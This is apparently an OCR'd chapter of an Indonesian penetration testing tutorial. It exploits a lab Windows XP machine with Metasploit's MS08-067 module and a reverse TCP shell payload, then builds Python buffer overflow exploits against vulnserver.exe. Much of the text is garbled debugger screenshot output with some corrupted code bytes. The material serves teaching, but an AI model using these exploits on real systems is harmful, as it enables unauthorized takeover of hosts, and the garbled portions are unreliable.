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5.2.1. Dasar Eksploitasi di Windows
Arsitektur :

- Mesin penyerang dengan x86 Kali linux menggunakan alamat ip 10.200.0.5
- Mesin target dengan mesin x86 windows xp spl menggunakan alamat ip 10.200.0.11

Pengenalan Metasploit
Metasploit merupakan framework lengkap berisi eksploit dan payload yang handal digunakan untuk

kegiatan penetration testing ke sistem. Metasploit dikembangkan oleh HD Moore. Terdiri dari versi
community (free) dan versi komersial.

Untuk mulai menggunakan metasploit. Ketikkan : msfpro dari console kali linux.
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Pemilihan Payload

Payload merupakan aksi apa yang akan dilakukan eksploit setelah eksploitasi berhasil. Sebelum mulai
melakukan eksploitasi dengan metasploit, kita perlu menentukan payload apa yang akan kita pakai.
Untuk melihat daftar payload yang tersedia, ketikkan search payload dari console msf.

Misal kita akan memilih payload : windows/shell_reverse_tcp, ketikkan :
use payload/windows/shell_reverse_tcp

Untuk melihat options-options dari payload ini ketikkan : show options

Module options (payload/window

Name Current Setting Required

EXITFUNC  pre = it hnigque: . nrocess, none
LHOST -

LPORT 4444

msf payload(

EXITFUNC digunakan untuk teknik keluar dari payload, misal : SEH, thread

LHOST digunakan untuk mengatur ip / host untuk menerima reverse tcp connect back shell

LPORT digunakan untuk menentukan nomor port yang dilisten oleh host /ip yang listen dan siap
menerima reverse tcp connect back shell.

Misalnya kita set LHOST dengan 10.200.0.5. Ketikkan di konsole msf : set LHOST 10.200.0.5

Melakukan Eksploitasi dengan Metasploit

Eksploitasi dengan metasploit sangat mudah. Pada contoh kali ini mesin target adalah x86 windows xp
spl menggunakan alamat ip 10.200.0.11. Seperti biasa sebelum melakukan eksploitasi secara remote
kita perlu menggunakan port scanner untuk mengetahui servis servis yang berjalan di mesin target dan
bisa diakses dari luar. Untuk itu kita akan menggunakan port scanner yang terkenal kehandalanya yaitu
nmap.

Lakukan scanning dengan nmap : nmap -A -PN 10.200.0.11
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~# nmap -A -Pn | ]

NetBIOS user: , NetBIOS 0800 ; Cadmus

Dari hasil scanning di atas terlihat beberapa port terbuka, untuk kesempatan kali ini kita akan
mengeksploit servis smb pada windows xp sp1, kita akan menggunakan ms08 67, ketikkan :

use exploit/windows/smb/ms08_067_netapi , lalu set rhost 10.200.0.11, kemudian ketikkan
exploit

Jika muncul pesan meterpreter session open seperti di bawah ini merupakan pertanda kita berhasil
mengeksploit dan sesi dengan target tercipta :

set rhost 10.

0.11:1041) at

Untuk masuk ke shell di sistem target ketikkan : shell dan Anda bisa mengeksekusi perintah shell pada
target. Misalnya :



Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix
IP A

Subnet Ma: .

Default Gateway

Mesin windows tadi berhasil ditake over karena adanya bug buffer overflow pada servis smb, setelah
berhasil menggunakan metasploit berikutnya kita akan mempelajari dan memahami teknik eksploitasi
buffer overflow secara manual.

Memahami Teknik Eksploitasi Secara Manual

Salah satu bug yang rentan untuk dieksploitasi adalah stack based buffer overflow. Pada contoh ini kita
akan coba mengeksploitasi suatu aplikasi yang vulnerable terhadap eksploitasi jenis ini.

Arsitektur :

- Mesin penyerang dengan x86 Kali linux menggunakan alamat ip 10.200.0.5
- Mesin target dengan mesin x86 windows xp spl menggunakan alamat ip 10.200.0.11

Pengenalan Dasar Remote Stack Based Buffer Overflow

Buffer overflow pada stack memory area terjadi ketika byte memori pada daerah stack dialokasikan
untuk suatu buffer dengan ukuran byte tertentu, namun program dapat menerima input baik secara
langsung maupun tidak langsung yang melebihi boundary dari ukuran byte buffer tersebut sehingga
menimbulkan stack corruption karena daerah memori di luar buffer yang seharusnya tidak teroverwrite
menjadi teroverwrite.

Umumnya buffer overflow terjadi pada program yang dibuat dengan bahasa c dan c++, walaupun tidak
terbatas kemungkinan penggunaan bahasa pemrograman lain yang berpotensi terkena bug jenis ini.



Jika suatu program memiliki bug buffer overflow yang bisa dieksploitasi maka seorang attacker bisa
memanfaatkan kelemahan ini dengan memberikan inputan tertentu yang dapat menyebabkan arah
jalanya program dapat dikontrol oleh attacker untuk kepentingan attacker.

Aplikasi Vulnerable

Berikut ini adalah contoh aplikasi vulnerable yang terkena bug buffer overflow dan dapat dieksploitasi.
Contoh aplikasi ini adalah contoh dummy aplikasi server : vulnserver.exe di windows xp sp 1 yang
terkena bug buffer overflow.

Aplikasi ini akan terkena bug buffer overflow jika inputan yang diberikan lebih dari 7 bytes. Di mana
pada aplikasi ini terdapat character filtering di mana hanya karakter \x28 yang dapat menyebabkan
buffer overflow.

download OLLYDEG

olly vulnserver

~r ,
+5 Start o C\Dacuments and Se...

Untuk mengetahui servis di atas menggunakan nomor port berapa, kita akan scan dengan menggunakan



nmap :

~# nmap -A -Pn 10.

KP SPGB - BR

NetBIO AC: © 38: 3 (Cadmus Co

Dari hasil scanning di atas terlihat servis vulnserver menggunakan port 4321, Selanjutnya mari kita cek
dengan telnet :
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Selanjutnya untuk menguji bug, kita attach vulnerserver dengan gdb dan kita lakukan fuzzing dengan
spike. Pertama tama attach proses vulnserver dengan ollydbg :

QllyDbg - vulnserver.exe - [CPLI - main thread, module vulnserv]

@ File Wiew Debug Options ‘Window Help - 8 x
x| win| s+ ¥4 Y + Lje/M[T|wH[c|/s|K[B|R|-|5]| E=Z/iF]?]
BEAGIZZ0] % B FUEH_EEF i
BE4G1221) . S9ES HOU EEF, ESF 5 Egglsgggzaégpw
ag4a12z3| . SIEC @8 SUR ESP, 3 5 ERRkEEEH
@0481226| . Cro4zd @1egee(HOU DWORD PTR $5:[ESPI, 1 S| EL» go-boong
83431220 . FF15 6E8B24408| CALL DWORD PTR DS:[{Gmeucrt.  set_spp_ t{ meucrt.  set_apn tupe ek ooaans
8G401253| . EE CHFEFFFF | CALL wu lnsery. 86401163 e T
aE4a1zaa| . o@ FioF S e
BE461229| . SOB42¢ Beeoee{LER ESI,DWORD FTR DS:[ESII a0 M
BE461246| . EE FUSH_EEF B
ag4a1241| . 99ES HOU EEF, ESP
BGab154c| | obdze mepeen| HDy DHREG PTR S5:[ESPl,z £if rrrERans
Q401240 | FFIS GGB24400| CALL DUORD PTR DS [CGMEWSIt. _SSt_app_t] meucrt. set_spp_tupe B3 [ s Ceels iAadaAAas,
86401253| . ES ASFEFFFF | CALL wu Lnsers. B640116a 58 B EE Rl HiAaaaaas
BE4a1252| . o@ HioF :
Z @ DS @922 32bit @FFFFFFFF)
BE461255| . SOB42¢ BEEoEe{LEA ESI,DWORD FTR DS:[ESII i
58 FS 0932 32bit PFFOED@EIFFF)
ag4a126a| § 55 FUUSH_EEF B 5 R kel
Sgigigg% o EEEE HEEZ44 @8 HSH EE?.E%ERD FTR OS:[<&mswcrt.ated it>]| mswcrt.atedit oo
A o 2 Y B 06 LastErr ERROR_SUCCESS (@GES
Badg1oer|  Ghrdzs o6 UER EST,DUORD PTR O CESTI oL memmmRen enE e
: : STA emptu -UNORM SA3A 7PFS7P070 7
| o 58 ] 2P . . . 5T1 empty +UNORM BEE1 COOBEEEE O
Ba481271( . SEED PEE24408) MO ECH, DWORD FTR OS: [<&msvort._ones itr] msvort._onedit ST2 emptu +UMORM 4580 vrD&eFeD 7
ag4a1277| . 39ES HOU EEF,ESP
A o gk D B 5TZ empry +UNORM DOSZ DRDEEEREH G
]| o B0 e =k 5T4 empry +UNORM TRAODT GRBEEAAE GO
- 5TE empty @, B0REE0HHEO0ABEELT 0
aEdalzrc| | oa HOP
aE4G1ZETo| 4@ HOF Sl CHEED Bl
ST7 emptu -UNORM EAQA B1SS6E98 7
BE46127E|  S@ HOP = il 5 B
E1CIEN ol T HOF FST @@@8 Cond 3 @ @ B Err B @
[% FCU @37F Frec MEAR, 64 Hazk
Aod BOZZFFCA| FrEGIACT|RETURN +0 Rerne 22, 77E
TEERET MNeozerres| rrFoousr| RETURN to ntdll, rrrsoess
@EZZFFCC| FrO4CBES| RETURN to USERZZ.7rO4C
e e GBZSFFOA| FFFOFGEE
BE44 2610 =
R BEZZFFO4| FAS4ECFE
Eh s BEZEFFOS| BEZZFFCE
e 22 BEZEFFOC| 96534564 )
aarSa AOZZFFER| FFFFFFFF|End of SEH chain
kS QOZZFFE4| 7rE34863| SE handler
@EZZFFES| PPE21218|kerns|32. FPESLIZ1A
e P BEZSFFEC| B@@OEoaE
BE44 2645
BEZZFFFE| BORREEEA
) BEEIFFF4| BEROHGER
A044 2658
44 ZHEE AEZZFFFS| 8ad481228) vu lnseru. <Modu leEntruF
BEZEFFFC| BORABEEEE
Q0442065 =
aG442670| B 3C 44 09 E4 3C 44 o8| «i0.EL0.
GG442675 | B 3C 44 06 ED 3C 44 66 20, <0, v v

| Runhing

‘Obaq - wulnserver.,. .. 4143 AM

Selanjutnya kita akan melakukan fuzzing dengan spike, di mana kode fuzzer yang akan kita gunakan
adalah

s_string("HELO ");
s_string_variable("test");
s_string("\r\n\r\n");
usleep(50);



root@kali: /usr/share/spikefaudits/vulnserver
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root@kali: ~ | root@kali: fusr/share/spike/audits/vulnserver

udits/vulnser

Ok setelah beberapa saat kita melakukan fuzzing, terlihat aplikasi vulnserver mengalami crash dan eip
teroverwrite menjadi 28282828, coba perhatikan gambar di bawah ini :

OllyDbg - vulnserve
File View Debug Options Window Help - = 3

Sl x| wln] wil+f {4 | of v|EM[T|IWH|C|[s/|E[B|R[...|S]

# | Begisters (FPLUI
HEEEE 1

ECH aazDAa7C
ED
EE- poandBmn
Egs Baz2FBRAE@ ASCII "oriiooirooe
ESI FFO4CBES UUSER2Z. FrO4CEBES
EDI FPYFE9E27 ntdll.7FFEIE37
EIF zzzazazs
C @ ES oz F1
F 1 S5 aal F1
A @ 55 ooz F1
Z 1 OZ @Ez. Fl
S @ FS ooz FFF
5 S G5 AEE
0O @ LastErr ERROF_SUCCESS (988
EFL @@@l@z4s (HO,ME.E,EBE.MS,FE.
Ta empty —UNMORM SASA FrESrDva
Tl emptw +UMNORM @@8@1
T2 emptw +UMORM 4E@C FrDSSFeD
T2 emptw +UMORM @@Dz
Td emptu +UMORM_FAOF
TS emptw G, 4748
TS emptn @.68
TF7 emptw —UMORM EQQE @122SE9S
et 2z 1a@ E &

FST g@a@a Cond @ 8 @ @ Ecr @ @
FClW @37F Frec MEAR.&4 HMask

4t

4
HEZZFERS

R

a (u}
GBZZFBD; TEFDZD

E@ 3C 44 9@ E4 IC 44 00| =cD.E<0.
BE44ZA7S | ES 3C 44 @@|ED 2C 44 @8] F<0. +<0. )

Access violation when executing [28282828] - use Shift+F7/F8/F3 to pass exception to program | Faused

QEZZFEEA| B8zZFCA ~
PET e e e e e T T LT




Kerangka Dasar Exploit

Langkah pertama kita akan membuat kerangka dasar exploit. Berikut ini kerangka dasar exploit yang
akan kita buat :

#/usr/bin/python

import socket

junk = "\x28" * 50

host ="10.200.0.11"

payload = "HELO " + junk + "\r\n"

s = socket.socket(socket. AF_INET, socket. SOCK_STREAM)
s.connect((host, 4321))

s.send(payload)

Simpan dengan nama dos.py. Vulnserver di atas merupakan aplikasi yang terkena buffer overflow di
mana terdapat karakter yang tidak diijinkan untuk mengoverwrite eip. Pada saat fuzzing hanya
ditemukan karakter \x28 yang diijinkan. Mari kita reattach dengan gdb dan jalankan kerangka dasar
exploit di atas.

Jalankan exploit python di atas :
python dos.py

Maka kita bisa melihat eip teroverwrite dengan karakter \x28:

OlyDbg - vulnserver.exe - [CPU - main thread] =3
@ File Wiew Debug Options ‘Window Help - A ]

Sl x| wlu] w4 ¥4 ] +f ulE[m|T|w/H|c|/|K[B[R[..[5] I=[ZF]?]

-~ _Reglsters [FPL

— | ERX 1

ECH HBEZIDAITC

— | E0¥ AEBAEBAEBE&&

EEX a@aadaaa

ESP BB22FBA® ASCII "iirriiorniy
EEF 28z82828

ESI 7vD4CBES USERZZ.TFO4CEES
EDI F7FFS9@27 ntdll.77FS9@37
EIFP 2gzozo2s

@B ES @823 3Zbit @(FFFFFFFF)
CS BALE Z2Zbit BIFFFFFFFF)
S5 BE2z 22bit B(FFEFFFEF)
DS BE23 22bit B(FFFFFFFF)
FZ BAZE 2Zbit FFFOEGBALFFF
G5 @EEa MULL

LastEryr ERROR_SUCCESS (888
EFL @@@igz4é (HO,ME.E.EE, NS, FE,

STE empty —UMORM 2AZA 7PESFOD7E
5T1 empty +UMORM @861 S@a8@@8@88
STZ empty +UHORM 45@C FFOSEFED
ST2 empty +UMORM 2022 COEEHC0C0E
5T4 empty +UMORM FAO?Y BAREEAEE
STE empty B. GOEEES0EEEAEEEE64 748
STE empty B.8
STV empty —UMORM EQQE ©1020E9S
2218 E S

FST @888 Cond @ @ @ @ Err @ @
FCW @3FF Frec HEAR.&4  Mack

pe
Address |Hex dump ASCIT fu -~ [EEEEREEE] = =
DO4C006 00 GO OB O8] FF EE EE EF| ... — BB RS 3
BA44260s| 00 B2 DO 0A B0 BE AR e8| llll.... | B
BA442610| 06 G 96 B8 FE FE FF FE[ D000 - [ | B
Badize1s| 06 B8 DO DR BO PO B0 o8| Llll.. .. SEEREC| R
9a442628| FF FF FF FF 20 28 89 28 o | B
Ba442625| FF FF FF FF| @0 00 89 08 B | B
BAd4zE30| 01 BB DO DB B0 6O 60 06| 8... . TEEEHEE| EEEeE
B442635| 00 B2 B0 0O PO 5O B2 98| ........ | B
B442648| 00 02 B0 BA|FE FE FF EF[ 1100 | B
BAd44zG4s| 06 65 96 GG FF FE FF FF[ 1000 HEEERE| B
BAd4zEER| 96 SC 44 D@ BS 3C 44 o8| £1009<D. PEEREER| GEEEEEE
B442855| D8 IC 44 ©2 B9 00 99 @8|=<0..... e | e
B442650| 00 B8 DO DA B0 00 B8 08| .... ... e | EEEEE =
BA44CEES| 06 GO DO DO B0 6O B9 B8| ...l ..l EEEEEE| GEEEEEE
BAd4zE7E| EG SC 44 D@ Ed SC 44 o8| =0liiD] PEERETE| GEEEEEE
Pa44267E| EZ SC 44 B8 ED 3C 44 @8] 2<0. <0, ~| BRI .

| Pauzed

ocuments and Se. .. OllvDbg - wulnserver.. .. o J 4:59 AM




Setelah menguji coba beberapa kali akhirnya didapati eip akan teroverwrite dengan 11 bytes. Di mana
7 byte pertama harus karakter yang diijinkan dan 1 byte setelah eip teroverwrite harus karakter yang
diijinkan yaitu \x28. Berikut ini kerangka exploit kedua :

#/usr/bin/python

import socket

junk = "\x28" * 7

eip = "\x7c\x7c\x7c\x7¢c"

preceed = "\x28\xc0\x90\x90\x90\x90\x90\x90"

shellcode = "\x90" * 50

host ="10.200.0.11"

payload = "HELO " + junk + eip + preceed + shellcode + "\r\n"
s = socket.socket(socket. AF_INET, socket. SOCK_STREAM)
s.connect((host, 4321))

s.send(payload)

simpan dengan nama eip.py, reattach vulnserver dengan ollydbg lalu jalankan exploit di atas. Saat
terjadi crash, klik kanan esp lalu follow in dump kita bisa melihat kita memiliki 44 byte buffer yang
bisa kita kontrol :

OllyDbg - vulnserver.exe - [CPU - main thread] |
|E| File VYiew Debug Options Window Help - 8 x

B« x| w[n] wivi #4d ] + LlE/m[T[w]E[c|/|K[B[R[[s] =[] ?]
# |RBegisters (FPUI
— | ERX BERanEa1
ECH Bash3A1c
— | EDi+ AERABAE&E
EEH BEEE4E8E
ESF [BEZZFERE
DE EBFP Zozgzgas

ESI 7?7D4CEBEE USER3Z.7704CEBES
EDI FFFE9E3T ntdll.77FE26E37

EIF PCYCYCPC

“»IC B ES @E23 32bit BIFFFFFFFF)
P 1 CS @B8lE 32bit BIFFFFFFFF)
H B S5 @B23 32bit BIFFFFFFFF)
2 1 D5 BE22 32bit AIFFFFFFFF)
S 8 FS @E38 32bit FFFOEGBQAIFFF)

T 8 GS 8568 M

Address | Hex dump ASCII CAZECAZS F
BEZCZFEAD| 28 CA 26 0B 98 98 98 9@ [ L[ ‘EEEE — SBEEFBHB gggggggg =
QEZZFEAS| 98 93 98 98 9@ 98 90 9@ EEEEEEEE A | e

GEZZFEED| 98 98 98 98 98 98 96 9@ EEEEEEEE A | Sk

AEZEFEES| 98 9@ 98 98 9@ 98 98 9@ EEEEEEEE GAESFERG| SnoEsaon

GEZZFECO| 98 9@ 98 26 98 98 96 9@ EEEEEEEE GAESFERS| SneEs@om

GEZEFECE| 98 98 98 96 0 08 0O OF EEEE. ... A | Skl

AEZZFEOG| @4 2@ FO 7F E6 20 FO 7F e 2oplin e | e

GEZZFEDS| 26 0O 60 05 DA 00 OO 0@ ]

GEZZFECY| DE9E0E0A
HEZZFECS| 28383098
BAZZFBCC| BACAEGEA
GEZZFEDE| FEFOZEGE4
Baz22FEDY| PFFDZDES
BAZZ2FEOZ| BACREE3IA
GEZZFEOC|) SREREHGEE
HEZ2FBES| BeZ2FCRA
BAZZ2FBE4| BACAEGEE

Amnarneal  afnacses

GEZZFEEE| A8 FC 22 98 08 08 a8 o
BEZZFEES| @@ B8 BA B8 8A B B8 88
GEZZFEFH| 23 06 @8 08 80 G0 &0 08
GEZZFEFD| @2 28 24 88 47 2B F2 77
BEZZFCAE| @8 @& 30 88 CA 24 30 &
GEzzFCEZ| C2 24 20 @8 FF FF FF FF
GEZ2FCIE| B2 FC 22 88 RAa FC 22 g4
@EZ2FCIE| 5C 75 24 88 @A @A 30 aa
BEZZFCZE| B0 08 @0 08|81 68 &0 06

Selanjutnya klik pada E untuk melihat seluruh executable dan library yang dimapping saat run time
memory , lalu pilih kernel32.dll
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OllyDbg - vulnserver.exe - [Executable modules]

Blyx] w1
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Ci~Documents and Sett ingscr@~Desktop™uu lnserver. exe

Cr=WIMDONS~system32~mawsock..dl L
\MIHDDMS\SysteNSE\wshtCDLD dll
SWIHDOWS Sy stem32~WS2HELP. 1 L
WINDOWS -3y stend2~NE2_32. 0LL
WIMDOWS-system32~msvort.dl L
WINDOWS sy stend2~G0I32.d11
WINDOWS sy sten32~USERSZ. d1 L
WINDOWS sy =ten32~AOUAPI 32, d
WINDOWS sy stend2~kerne 122. d
WINDOWS-Systen32~ntdll.dl1
WINDOWS sy sten32~RPCRT4. d1
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Ll

]
(A
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[N

L

Pada kernel32.dll kita akan mencari instruksi call esp karena buffer yang kita kontrol tadi berada pada



TrEE1BER
rrEG1@AE]
TTEE1GEZ
TrEE18ES

TTEE18EA
TPEE186E
TTEE1@ED
TrEE188F
TrEE1A11

TrEG1A1S
TTEE181A
TrEG1B1E

TrEE1810
TrEG1EZ22

TTEE1B2E
TPEE1E2A
TTEE1G2E
TrEE1820
TTEE1E2E
TrEE1EZF
TTEE1E21
rrEE1E34

TrEE1E1Z

SBFH
e
B3 FE7720ES

]
BB FS¥VRSED
FE

~77 68
BD FEFTACEC
Fvey B

JJJ JJ ﬂﬂ JJJ 2 LIEM|T|W/H|c|/|K|B|R[[S| i

XDR E
HDRT kernelSE TPEE1E7D
EDU ECH, Bo2E77

[c

JA SHORT kernel3z. 7rEGHFEE

JPO SHORT <&ntdll.MtFsContralFilel
JA SHORT kernel3zZ.vrEE184F

MOL OH,CH

JA SHORT kernel3z.vrE&183D

Eﬁg EEX, BDRSYFFS

SHORT kernel3z2.77PEG1B35
MDU EBP ECHC??FE

Find command

FoEeiaa7| 73 Frd |

foERiaa|vEEl W Entire block Find Cancel |

TTEE1E3E| F5

FrEG1EZF|~77 kg JH SHURT kernelzss. B lHZT

TrEE1E41( 41 IHMC ECH

rrEE1842| F9 STC

FrEE1@43(~7F7 D3 JA SHORT kernel3z2.77EE1E10

rrEE1845| 58 PUSH ERH

FrEE1A4&| FRA CLI

TrEE1847 |~ 77 EC JA SHORT kernel3Z.7rEE18AS

TrEG1A49| 8DF7 LER ESI,EDI Illegal use of register
TrEE184E(~7F7 1B JA SHORT <&ntdll.MtCreatekeul

TrEG1840( 51 PUSH ECH

TTEE1B4E| FA CLI

TrEG184F|[-7F7 A3 JA SHORT kernel3Z.7rEGOFF4

TTEE1BE1| ZF DAS

rrEE1852| FR CLI

TTEE1BEZ(~77 D@ JA SHORT kernel3Z.7rEE1625

TrEG1BES| JE:FR CLI Superf luous prefis
FPESIEET |~ 77 48 JA SHORT kernel32.77EE18A1 e
rrEcieca] BF FEVTASER Moy EDT, BERSTFFS

sters (FFUI

BEBREHE L
BE3023ALC
ABAEREGE
BEEE4EEE
BE22FEAGE
ZE28EE28
7rO4CEBESE USER2Z2. 7FO4CEBES
FPFS9837 ntdll.rPFE983Y

FLPCFPCYC

ES BB23 32bit BIFFFFFFFF)
CS BalE 22bit B(FFFFFFFF)
S5 BE22 32bit BIFFFFFFFF)
02 BEz22 22bit B(FFFFFFFF)
FS @822 22bit PFFDEEBAIFFF)

G5 BEEE MULL

LastErr ERROR_SUCCESS (@RERGEAGE
@@aai@246 (HO,HE,E,EBE,M5,FPE,GE,LE

empty -LUMORM 2ASA YrYFEFOVE FrFI4
empty +UMORM BAE] OEEEEEEE BASEZ
empty +HIMORM 458C FPOESFED 7PO&E
empty +UMORM BASZ OEEEEEEE @a886
empty +UMORM PADTY B@EEE080 GAEEG
emphty H, BEEEEEAEAREARERS P 48 —4 23
empty O,

empty —LUMORM EBEE B1996E98 FFD&C

2218 ESFPU

GEEE Cond 8@ B B @ Erc 8@ B @4
@37F Prec MEAR,&64 HMask 11

OllyDbg - vulnserver.exe - [CPU - main thread, module kernel32]
@ File View Debug Options ‘Window Help

v FESHEED
TPESAEEE
TPESHESD
TPESREER
TPESHESS
TTESREES
TTESHEES
TTESREES
7 7ESHEEE
TTESRET]
TPESHEFY
TPESRETA
YPESHEFD
TTESRESZ
TPESHESY
TPESRESC
TTESRESZ
TPESRESS
77ESHESE
TPESRESE
TTESAEAR4
TPESHERRA

TTESAERE
TPESREE]
TTEZAEEZ
TPESREES
TTEZAEEE
TPESREET
TTEZAEER
7 7ESHEED
TTESAEEE
7 7ESHEEF
TTESAECE
TPESHECE
TTEZAECE
T 7ESHECE
TTEZAREDT
TPESREDZ

TTESAREDT
FFEAnFNO

Blux| wlu| wi+

~BFS4 34010688
E4

SZCF FF

Ed
29E0 E4FFFFFF
S5ED EBFFFFFF

E 1

6955 E4FFFFFF
1@

6955 ESFFFFFF
14

925 SCFFEFFFF
2025 eBFFFFFF

8035 E4FFFFFF

33CA
2408
aF34ca
2ace a4
=15 ]

EE

30385 S4FFFFFF
Ea

&2

FETE BC
2SBS0 B2

E2
E2 SFSIFDFF
284k E=

CHLL ESP
ACOO EVTE PTR O5:[EAX]I, AL

ROR EYTE PTR DS:[EDI], 25
ACO CWORD PTR D5:CEA:],ERX
AOD OH, D

IMC EEF

SBE EYTE PTR_DS:[EDXI,AL
JE kernel32. TTESAFAZ

PUSH DWORD PTR $%5: LEEP-1CI

CALL DWORD FTR D5:[<&ntdll.HtCloses]
0OR EDI,FFFFFFFF

$1 4| +f LjE[MT|WH|C|[/|K|BIR|..|S] i

HMOU CWORD PTR
MOU DWORD FPTR
MO, OWORD PTR
Mo A, DWORD
MO WORD PTR
MOU ER=, DWORD
HMOU CWORD PTR
NDU ER=, DWORD

1 DWORD PTR
LEH EHX OWoRD

LEH EHX OWoRD
PLISH

FLSH ESI
HOR_EAX, EAX
TEST EL.EL
SETE AL
COR_ERX, 4

FLSH EHX

FUSH ESI

LERA EAX, OWORD
FUSH ERX

PUSH kernel2z.

S5: [EBP-1C1,EDI
S2: [EBFP-2C1,EDI
S5: [EBFP-AR],EDI
PTR S5: [EBF+12]
55: [EBF-AC], ERX
PTR S5: [EEF+18]
55: [EBF-AS],ERX
PTR S5: [EBF+14]
55: [EBF-A41,ERX
PTR S5: [EBF-AE]

PTR S5: [EBF-9C]

PTR 55: [EBF-AC]
7 FEBE330

FUSH DWORD PTR S2: [EBF+C]

MOU EBH, OWORD
FPUSH EBEw
CHLL kernesl3z.

PTR 55: [EBP+21
7 rEVERLG

HDU BVTE PTR SE: [EBP-1D1, AL

Shift constant out of range 1.

ntdll.ZuwClose

JJ

sters (FPLI

BEEEEEEL
GE202A1C
AEREREGDE
BEAES ARG
BE22FERD
28282828
7rD4CEBES USERSZ. rPDO4CEES
FPFE9A2F ntdll.7PFESE3T

FCTCPLYC

ES @823 ZZbit GIFFFFFFFF)
C5 @@BlE 32bit AIFFFFFFFF
S5 BEZ3 ZZbit GIFFFFFFFF)
05 @823 32bit ABIFFFFFFFF]
FS @22 22bit PFFOEGGE(FFF)
G5 @Eaa MULL

LastErr ERROR_SUCCESS [(GB@EEEEE
@eaie246 (MO, ME,.E,.BE.MS.PE.GE.LE

EMphy
EMptY
EMphy
empty
EMphy
empty

-UHORM 2A20 ??FE?D?B TPF34
+UMORM A061 GEEAEARE BESET
+UHORM 4580 ??DSSFSD TrOEE
+UMORM BESZ BEEEEARE GEGEE
+UHORH FADY GEEEEHEE GEHEE
A. BRRAREDARAREEERS " 4Re—493

empty @, 8

empty

BEEE
aavF

“UNORM EBEE 810986E93 ?;D6C

Cond @ 8 8@ 8@ Erc BB 88
Frec HERR, &4  HMask 11



Dari tampilan di atas kita dapatkan instruksi call esp pada 77e9ae59.
Selanjutnya encode alamat tadi ke little endian menjadi :

\x59\xae\xe9\x77

Alamat di atas akan kita gunakan sebagai eip, mari kita uji dengan kerangka eksploit selanjutnya :

#/usr/bin/python

import socket

junk = "\x28" * 7

eip = "\x59\xae\xe9\x77"

preceed = "\x28\xc0"

shellcode = "\x90" * 50

host ="10.200.0.11"

payload = "HELO " + junk + eip + preceed + shellcode + "\r\n"
s = socket.socket(socket. AF_INET, socket. SOCK_STREAM)
s.connect((host, 4321))

s.send(payload)

Jika kita perhatikan setelah eip teroverwrite kita harus memasukkan 1 byte yang diallow yaitu \x28.
Satu byte ini jika langsung disambungkan dengan \x90 akan menghasilkan instruksi yang
menghentikan eksekusi program, untuk menghindari kejadian tersebut kita tambahkan satu karakter
hex \xc0. Di mana \x28\xc0 artinya adalah instruksi sub al, al.

Instruksi sub al, al aman dieksekusi dan tidak akan mempengaruhi eksekusi program. Selain itu
instruksi sub al, al juga akan membuat register eax menjadi 0 di mana akan berguna pada shellcode
mini kita nanti, kita perlu melakukan push 0 ke stack.

Simpan dengan nama callesp.py, reattach vulnserver dengan ollydbg, lalu kembali load kernel32.dll
seperti tadi, kita taruh break point dengan menekan tombol F2 pada alamat memori 77e9ae59.
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@File View Debug Options Window Help =]
HE H H s Hed ol
Bl x| w[N] w1 ] JJJJJJJJJJJJJ JJJ
FEOT TALL ESP
TPESHESE| BEEE AOD BYTE PTR Ds: [ERX), AL ) ;;E;;BEQHXJ -
7PESAESD| CHEF 8% ROR EYTE PTR DS:[EDI] R
7PE2AELE| SE:@188 BOD DUDRD PTR 053 TERAS - EAx R
FTESAERS| BEFA e
7PESAEES| 45 THE ERE” L
TPESAEEG| 13@2 SEE BYTE PTR_DS: [EDXI,AL R
TPESHERS|vBFS4 34018888 | JE kerne L32. FPESEFOZ e IEEERL e
7PESAEEE| FF?S Ed FUSH DWORD PTR $%5: [EBF-1C] o e ik I EE
FPESAETL| FF15 SCABESTF | CALL DWORD PTR DS:C<&ntdll.MtClose: :
TESREh| 837D 4 HEUEBlﬁhEEFﬁEFss [EEP-1c1,E01 peseren”
7PESAEFD| S9BD 64FFFFFE | MOU DWORD PTR EBP—5C] o FREE s HEAAAAAAn,
COEARELS| B8BD GOFFFFFF | 1DD DWGSD PTR So:CEEP-AE1.EDT e TS SRS HllrAAAdAas
TYESAESS| SB4E 18 HMOU EAkBUORD FTR 55:[EBF+IE] S s e AR
7PESAESC| B985 GAFFFFFF | MOU DWORD PTR SS:[EBP-QCI,EQX ) FhE EanG LR
7PE2AESZ| SB4E 1@ HMOU EAX,DWORD FTR 55:[EEP+LE] 1 ek el
JCEaNEoE| SBag 13~ |NOU MW DuORE BT SS:reEPii4l
. : [EEF+
TPESAESE| 985 ECFFFFFE | MOW DWORD FTR S55:[EBF-R41,EQX Leapany [ELIETEESES (el
C7ECRERa| DS GGFFFFFF | LER ERY DUORD FTR S5:[EGP-RE] BEB1G246 (MO, ME, E,EE, NS, PE, GE, LE)
FPESAEAE| SDS5 64FFFFFF | LER EAW,DWORD FTR 55:[EBF-9C1 B 7rto foro piE2 dinc
7PESAEEL| 59 FUSH EAX A el b B
TPESAEEZ| 56 FUSH EST pols G poi (e
rPESAEED| F3ca OR EA%, EAX Rl [ [ (e
7PEZAEES| 240B TEST EL.EL O] (el Ll (el
CiEaHEen| gace 6 OF Eitd BD6G DBGD BE0D 0006
FPESAEED| EA PlisH ERY RS (38 7ol Eesy
7PESAEBE| 56 PUSH E
7PESAEEF| BDES G4FFFFFF | LEA Enx DWORD FTR S%: [EBP-ACI
TPESAECS| 58 FlISH E
7PESHECE| &3 2PE9EBTT USH keene 132, 77EBE93E
TPE2RECE| FFPE @& PUSH DUORD PTR S5+ [EBR+C]
PPESAECE| BBSD BE o EEX, DWORD FTR S5: [EBP+&1
7PESAEDL| 53 PUSH EES
TPESAEDZ| EB SFE1FDFF CALL kernel32. FREFOBES
TPESAED?| 8845 EZ HOU BYTE PTR 55:LEBP-101,AL
7PESAEDR| B4C@ TEST ML, AL
PPESHEDL |+ 74 64 JE SHORT kerne 32, TTESEF4Z
7PESAEDE| 398D 64FFFFFF | CHP OWORD PTR S5:[EBF-9C1,EDI
TPESAEE4 | w74 75 JE SHORT kevnel3%.TTESAFEE
7PESAEEE| 398D 6BFFFFFF | CHP OWORD PTR S5:[LEBPF-081,EDI 3
TPE3AEEC|+74 B4 JE SHORT kernel32, TPESAF4S
Address |Hex dump ASCII s TrEZAEEE| RETURH to kernel22.77E A
BE44Z000| @9 B0 69 8| FF FE FF FF TTT: — B -
AB44Z065| B0 GO PO DB BB BB BE BA] | aeee.... | DEEEFERY) SESE0ECE v
Module C:¥wINDOWShSyztemnd2ywshtepip.dll | FPauzed

ommand Pr. ..

lalu jalankan eksploit di atas :
python callesp.py

Pada saat crash kita bisa melihat kita berhasil mengoverwrite eip dengan alamat memori 77e9ae59
